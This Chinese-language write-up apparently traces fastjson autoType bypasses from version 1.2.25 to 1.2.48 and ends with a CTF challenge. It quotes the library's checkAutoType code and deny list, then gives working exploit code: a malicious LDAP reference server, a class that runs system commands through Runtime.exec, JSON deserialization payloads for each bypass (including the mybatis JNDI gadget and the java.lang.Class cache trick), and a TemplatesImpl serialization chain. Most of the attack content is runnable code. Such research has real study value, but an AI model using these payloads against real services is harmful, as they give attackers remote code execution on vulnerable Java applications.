fastjson1.2.4x绕过
1.2.25–1.2.41
我们可以看到在1.2.25版本中fastjson对直接加载
引入了checkAutoType安全机制
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
}
if (typeName.length() >= 128) {
throw new JSONException("autoType is not support. " + typeName);
}
final String className = typeName.replace('$', '.');
Class<?> clazz = null;
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
用于标识是否可以开启任意类型的反序列化,默认关闭,同样其他的也都加入了黑名单和白名单

此处增加了黑名单检测,同时优先加载白名单
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
其中跟进loadclass方法后,可以看到增加了验证逻辑

所以我们需要手动打开Autotype
LDAP
package json_dome;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.URL;
public class fastjson_LDAP_poc1 {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) {
// 使用带 # 的 URL
String codebase = "http://127.0.0.1:8888/#EXP";
int port = 9999;
if (args.length > 0) {
codebase = args[0];
}
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(codebase)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
System.out.println("Codebase: " + codebase);
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
System.out.println("=== LDAP Server: Received request for base: " + base + " ===");
Entry e = new Entry(base);
try {
sendResult(result, base, e);
System.out.println("=== LDAP Server: Response sent successfully ===");
} catch (Exception e1) {
System.err.println("=== LDAP Server: Error sending response ===");
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e)
throws Exception {
// 获取类名(# 后面的部分)
String className = this.codebase.getRef();
System.out.println("Extracted class name: " + className);
if (className == null || className.isEmpty()) {
// 如果没有 #,从路径中提取类名
String path = this.codebase.getPath();
if (path.contains("/")) {
className = path.substring(path.lastIndexOf('/') + 1);
// 去掉 .class 后缀(如果有)
if (className.endsWith(".class")) {
className = className.substring(0, className.length() - 6);
}
} else {
className = path;
}
System.out.println("Using class name from path: " + className);
}
// 构造类文件 URL
String codebaseUrl = this.codebase.toString();
int refPos = codebaseUrl.indexOf('#');
if (refPos > 0) {
codebaseUrl = codebaseUrl.substring(0, refPos);
}
// 确保 codebaseUrl 以 / 结尾
if (!codebaseUrl.endsWith("/")) {
codebaseUrl += "/";
}
URL classUrl = new URL(codebaseUrl + className.replace('.', '/') + ".class");
System.out.println("Class URL: " + classUrl);
System.out.println("CodeBase: " + codebaseUrl);
System.out.println("Factory: " + className);
// 设置 LDAP 条目属性
e.addAttribute("javaClassName", "java.lang.String");
e.addAttribute("javaCodeBase", codebaseUrl);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", className);
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
System.out.println("=== LDAP Server: Sent reference for class: " + className + " ===");
}
}
}
恶意类EXP
package json_dome;
public class EXP {
static {
System.out.println("=== EXP Class Static Block Executed ===");
try {
Runtime.getRuntime().exec("open -a Calculator");
System.out.println("=== Calculator command executed ===");
Runtime.getRuntime().exec("touch /tmp/fastjson_success");
} catch (Exception e) {
System.err.println("=== Error executing command ===");
e.printStackTrace();
}
}
public EXP() {
System.out.println("=== EXP Constructor Executed ===");
}
}
javac EXP.java
POC
package json_dome;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
public class fastjson_poc1 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = String.format(
"{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:9999/#EXP\"," +
"\"autoCommit\":true}"
);
JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}

1.2.42
此版本对黑白名单进行了修改
同时删除了开头L和结尾;
看到checkAutoType
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
return checkAutoType(typeName, expectClass, JSON.DEFAULT_PARSER_FEATURE);
}
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
}
if (typeName.length() >= 128 || typeName.length() < 3) {
throw new JSONException("autoType is not support. " + typeName);
}
String className = typeName.replace('$', '.');
Class<?> clazz = null;
final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
className = className.substring(1, className.length() - 1);
}
final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;
if (autoTypeSupport || expectClass != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
if (clazz != null) {
if (TypeUtils.getAnnotation(clazz,JSONType.class) != null) {
return clazz;
}
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
}
final int mask = Feature.SupportAutoType.mask;
boolean autoTypeSupport = this.autoTypeSupport
|| (features & mask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
return clazz;
}
从这可以看到变为匹配hash了
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
// 如果哈希值在接受的哈希值数组中,加载类
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
// 如果哈希值在拒绝的哈希值数组中,抛出异常
throw new JSONException("autoType is not support. " + typeName);
}
我们跟到loadClass,看逻辑
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
双写绕过,poc
{"
"\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " +
"\"autoCommit\":true"
"}
1.2.43
相比上一个版本,此版本对逻辑稍微进行了加固
修复了上一个版本的双写绕过的问题
增加新判断,增加了两个LL
final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME == 0x9195c07b5af5345L)
{
throw new JSONException("autoType is not support. " + typeName);
}
// 9195c07b5af5345
className = className.substring(1, className.length() - 1);
}
第一段用于判断逻辑,对className的第一个和最后一个字符进行hash
第二段是更深层的hash验证, 进一步 hash 第一个+第二个字符,检测是够是黑名单payload
我们继续看loadclass
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
POC
"{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,"+
"\"dataSourceName\":\"ldap://127.0.0.1:9999/#EXP\"," +
"\"autoCommit\":true}"
为什么能绕过呢?其实很明显这不是一个标准的JSON,它以"开始(字符串),然后嵌入了[和{,按照正常来说,json解析器就会报错的
但是在fastjson中,尤其是1.2.43之前,在处理字符串时遇到"时,会优先尝试把其当做字符串解析,如果字符串中出现了[或{,fastjson不会马上报错的,所以他会继续往后扫描,直到看到一个结构结束
也就是说
JSON.parse("\"[com.sun.rowset.JdbcRowSetImpl\"[{");
这样的话,[{会被解析器当成一个新的结构,最后解析才会报错
注意,他不是成功解析了,而是在解析字符串和数组混合时进入了不确定状态
于是就骗过了解析器导致执行了危险代码

1.2.44
修复了使用[绕过黑名单防护的问题,所以利用字符串导致的绕过就不可行了
final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
if (h1 == 0xaf64164c86024f1aL) { // [
throw new JSONException("autoType is not support. " + typeName);
}
if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}
没法使用[进行绕过了
1.2.45
嘿,又爆出了新的黑名单绕过,可以通过外部依赖mybatis组件进行JNDI接口调用,加载恶意类(存在组件漏洞)
利用的类
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
正常我们所利用的条件是
目标服务端存在`mybatis`的jar包
版本需为 `3.x.x ~ 3.5.0`
autoTypeSupport属性为true才能使用
添加依赖
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.6</version>
poc:
package json_dome;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
public class fastjson_poc1 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload =
"{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\"," +
"\"properties\":{\"data_source\":\"ldap://127.0.0.1:9999/#EXPP\"}}";
JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}

1.2.47
此版本在不开启AutoTypeSupport情况下,可以进行反序列化利用
利用fastjson自带的缓存机制可以将恶意类加载到Mapping中,从而绕过check检测
我们去看源码
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
这是当不开启autoTypeSupport的情况下,会从Mapping和deserializers中寻找类,若找到就会返回clazz
那么我们就可以利用这个来绕过黑名单检测,我们跟进TypeUtils#getClassFromMapping方法

从中获取类名,我们去找到put方法
TypeUtils#addBaseClassMappings
TypeUtils#loadClass
由于TypeUtils#addBaseClassMappings是一个无参方法所以就不看了,直接看到loadClass方法
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
...
//对类名进行检查和判断
try{
//第一处,classLoader不为null
if(classLoader != null){
clazz = classLoader.loadClass(className);
//如果chche为true,则将我们输入的className缓存入mapping中
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
//第二处,检查较为严格
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
//如果chche为true,则将我们输入的className缓存入mapping中
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}
//第三处,限制宽松,但
try{
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch(Throwable e){
// skip
}
return clazz;
}
主要看处理缓存那一部分,我们发现cache 默认为 true,所以比较好写,然后在MiscCodec#deserialze中调用了loadClass方法
if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}
strVal即为我们要控制的className,跟进看看strVal如何赋值
最后跟进到
Object objVal;
//if判断默认为true
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
parser.resolveStatus = DefaultJSONParser.NONE;
parser.accept(JSONToken.COMMA);
if (lexer.token() == JSONToken.LITERAL_STRING) {
//必须有val属性
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}
parser.accept(JSONToken.COLON);
//objVal的值为从JSON中解析到的val的值
objVal = parser.parse();
parser.accept(JSONToken.RBRACE);
} else {
objVal = parser.parse();
}
至此我们可以构造利用链
{
"\"@type\":\"java.lang.Class\"," +
"\"val\":\"com.sun.rowset.JdbcRowSetImpl\""
}
其实解析后就相当于
Class<?> clazz = Class.forName("com.sun.rowset.JdbcRowSetImpl");
正好也满足了Class.clazz的条件,当我们手动写入恶意类后,就可以get到了
{
@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
dataSourceName\":\"ldap://127.0.0.1:9999/EXP\"," +
autoCommit\":true" +
}

poc
package json_dome;
import com.alibaba.fastjson.JSON;
public class poc2 {
public static void main(String[] args) {
String payload = "{" +
"\"s\":{" +
"\"@type\":\"java.lang.Class\"," +
"\"val\":\"com.sun.rowset.JdbcRowSetImpl\"" +
"}," +
"\"q\":{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\"," +
"\"autoCommit\":true" +
"}" +
"}";
JSON.parse(payload);
}
}

1.2.48
该版本将cache值默认值修改为了false,同时对TypeUtils#loadClass中第三处较为宽松的mapping.put做了限制
[西湖论剑 2022]easy_api NSS上面可以找到
下载附件得到war包,解压审源码,看依赖fastjson1.2.48

此题是利用fastjson中自动触发getter来getProperties加载字节码,其中getter可以通过JSON.parse触发,也可以通过toJSONString触发
而且JSON类的toString就是toJSONString

com.alibaba.fastjson.JSONObject.toString
可以用此来调用任意类的getter方法,但是需要HotSwappableTargetSource
readObject->hashmap.put
->xstring.tostring
->JSON.tostring
->templates.getproperties
poc
package controller;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import org.springframework.aop.target.HotSwappableTargetSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Base64;
import java.util.HashMap;
public class toStringPoc {
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(Evil.class.getName()).toBytecode()
});
setFieldValue(templates, "_name", "Evil");
setFieldValue(templates, "_class", null);
JSONObject jsonObject = new JSONObject();
jsonObject.put("empty", templates);
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
HotSwappableTargetSource v1 = new HotSwappableTargetSource(jsonObject);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("sun"));
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
try{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(s);
System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())),"UTF-8"));
outputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}
}
